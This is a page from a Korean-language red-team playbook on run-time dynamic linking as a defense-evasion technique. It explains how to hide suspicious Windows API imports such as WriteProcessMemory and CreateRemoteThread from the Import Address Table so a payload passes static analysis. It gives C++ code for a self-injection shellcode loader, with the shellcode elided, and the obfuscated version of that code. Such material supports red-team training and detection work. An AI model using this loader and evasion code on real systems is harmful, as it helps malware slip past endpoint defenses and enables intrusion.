📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 코드
  • 실습
  • References
  1. 보안 우회 (Defense Evasion)

런타임 다이나믹 링킹 (Run-time Dynamic Linking)

PE 파일 구조에서 Import Address Table (IAT)는 해당 파일이 사용하는 DLL의 exported 함수 포인터들을 기록해놓은 부분이다. IAT는 PE 파일 실행시 윈도우 로더 (Windows Loader) 가 PE파일을 메모리에 로드하며 해당 파일이 사용하는 DLL과 exported 함수들을 같이 맵핑 하기 위해 사용된다.

페이로드 제작시 대부분의 윈도우 API들은 직접/간접 시스템 콜을 사용하기 때문에 IAT에 수상한 윈도우 API 함수가 기록될 일은 없다. 하지만 항상 직접/간접 시스템 콜을 사용할 수 있는 것도 아니고, 가끔씩 순정 윈도우 API를 페이로드에 사용해야만 할 때가 있다. 이때 IAT에 수상한 윈도우 API(WriteProcessMemory, CreateRemoteThreadEx , 등)들이 기록되어 있다면 정적 분석에 걸리게 된다.

Run-time Dynamic Linking (런타임 다이나믹 링킹) 은 런타임 중 동적으로 DLL에서 exported 함수를 로드해 사용하는 기법이다. 이 기법을 사용하면 IAT에 수상한 윈도우 API들이 기록되지 않기 때문에 정적 분석을 통과할 확률이 높아진다. 물론 여전히 윈도우 API를 사용하는 것이고, 시스템 콜을 사용하는 것이 아니기 때문에 유저랜드 후킹이나 다른 방어 기법들에 걸리게 된다. 따라서 런타임 다이나믹 링킹은 최소한의 방어 우회 기법이다 정도로만 생각해야한다.

코드

런타임 다이나믹 링킹의 코드는 다음과 같은 형태로 이루어져있다.

// 윈도우 API 함수 포인터 구조체 생성 
typedef LPVOID(WINAPI* _VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);

// 필요한 문자열 unsigned char 형태로 저장 
unsigned char sKernel32[] = { 'K','e','r','n','e','l','3','2',0x0 };
unsigned char sVirtualAlloc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0x0 };

// 런타임 중 DLL의 모듈 핸들을 구한 뒤 exported 함수의 핸들을 구함. 그 뒤 윈도우 API 함수 포인터 구조체로 캐스팅 (형변환)
_VirtualAlloc pVirtualAlloc = (_VirtualAlloc)(GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sVirtualAlloc));

... 

// 4. 이제부터 VirtualAlloc 대신 pVirtualAlloc 을 사용 
  1. 윈도우 API 함수와 동일한 인자 및 반환을 하는 함수 포인터 (WINAPI*) 구조체를 생성한다.

  2. 그 뒤, 필요한 문자열을 unsigned char 형태로 저장한다. 예를 들어 DLL의 이름인 kernel32.dll / ntdll.dll 이나 exported 함수 이름인 VirtualAlloc, WriteProcessMemory, MiniDumpWriteDump 등이다.

  3. GetModuleHandleA 와 DLL 이름 문자열을 이용해 모듈의 핸들을 얻는다. 그 뒤, 모듈의 핸들과 exported 함수 이름을 GetProcAddress 함수에다 집어넣어 함수 포인터를 얻는다.

  4. 이 함수 포인터를 #1 번에서 만들어 놨던 윈도우 API 함수 포인터 구조체로 캐스팅 (형변환) 한다.

  5. 이제부터 해당 윈도우 API 함수를 사용하고 싶다면, #4번에서 만든 함수 포인터를 사용하면 된다.

#3 ~ #4 번에서 런타임 중 GetModuleHandleA 와 GetProcAddress 함수가 실행되며 함수 포인터를 획득하고, 이를 윈도우 API 함수 포인터 구조체로 캐스팅하게 된다. 즉, 정적인 PE 파일 상태에서의 IAT에는 아무것도 없고, 오로지 파일이 실행돼 메모리에 로드 되고 런타임에 들어갔을 때 사용하고자 하는 윈도우 API를 함수 포인터 형태로 사용할 수 있게 된다.

실습

먼저 런타임 다이나믹 링킹이 적용되지 않은 간단한 셀프 인젝션 코드를 살펴본다.

#include <iostream>
#include <windows.h>

int main()
{
	// msfvenom -p windows/x64/exec CMD="calc.exe" -f c
	unsigned char buf[] = < ... 쉘코드 ... >

	// VirtualAlloc on self 
	HANDLE hProc = GetCurrentProcess();
	LPVOID hAlloc = (LPVOID)VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (hAlloc == NULL) {
		printf("[-] VirtualAlloc failed: %d\n", GetLastError());
		return 1;
	}
	
	// WriteProcessMemory on self 
	SIZE_T* lpNumberOfBytesWritten = 0;
	if (!WriteProcessMemory(hProc, hAlloc, (LPVOID)buf, sizeof(buf), lpNumberOfBytesWritten)) {
		printf("[-] WPM failed: %d\n", GetLastError());
		return 1;
	}

	// CRT and execute the shellcode 
	DWORD threadId = 0; 
	HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hAlloc, NULL, 0, (LPDWORD)(&threadId));
	if (hThread == NULL) {
		printf("[-] CRT failed: %d\n", GetLastError());
		return 1; 
	}
	
	// WaitForSingleObject 
	WaitForSingleObject(hThread, 1000);

	return 0; 
}

컴파일 후 PEStudio 로 해당 파일을 살펴보면 IAT에 수상한 윈도우 API인 WriteProcessMemory 와 CreateRemoteThread 가 보인다. "Flag" 도 총 6개로, 수상한 윈도우 API 6개가 IAT에 기록되어 있다는 것을 보여준다.

이제 런타임 다이나믹 링킹을 적용해보자. WriteProcessMemory 와 CreateRemoteThread 에 적용한 뒤, 다시 컴파일을 한다.

unsigned char sKernel32[] = { 'K','e','r','n','e','l','3','2',0x0 };

typedef BOOL(WINAPI* _WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
unsigned char sWriteProcessMemory[] = { 'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0 };
_WriteProcessMemory pWriteProcessMemory = (_WriteProcessMemory)(GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sWriteProcessMemory));

typedef HANDLE(WINAPI* _CreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
unsigned char sCreateRemoteThread[] = { 'C','r','e','a','t','e','R','e','m','o','t','e','T','h','r','e','a','d',0x0 };
_CreateRemoteThread pCreateRemoteThread = (_CreateRemoteThread)(GetProcAddress(GetModuleHandleA((LPCSTR)sKernel32), (LPCSTR)sCreateRemoteThread));

[ ... 나머지 코드 동일 ... ]

다시 PEStudio 로 살펴보면, IAT 에서 WriteProcessMemory 와 CreateRemoteThread 가 더이상 보이지 않는다. "Flag" 도 6개에서 4개로 줄었다.

런타임 다이나믹 링킹은 간단한 정적 분석을 우회하기 위한 용도로만 사용되야한다. 중요한 윈도우 API의 경우 직접/간접 시스템 콜을 이용하거나 수동적 맵핑을 이용한 방법을 사용하도록 한다. 별로 중요하지 않지만 자주 사용되고, 직/간접 시스템 콜을 사용할 수 없는 윈도우 API (Process32Next 등)의 경우, 런타임 다이나믹 링킹을 적용하면 IAT 목록을 수상하지 않게 만들 수 있다.

References

Previous쉘코드 암호화NextAMSI 우회

Last updated 2 years ago

🐍
A dive into the PE file format - PE file structure - Part 5: PE Imports (Import Directory Table, ILT, IAT)0xRick's Blog
A blueprint for evading industry leading endpoint protection in 2022Vincent Van Mieghem
Logo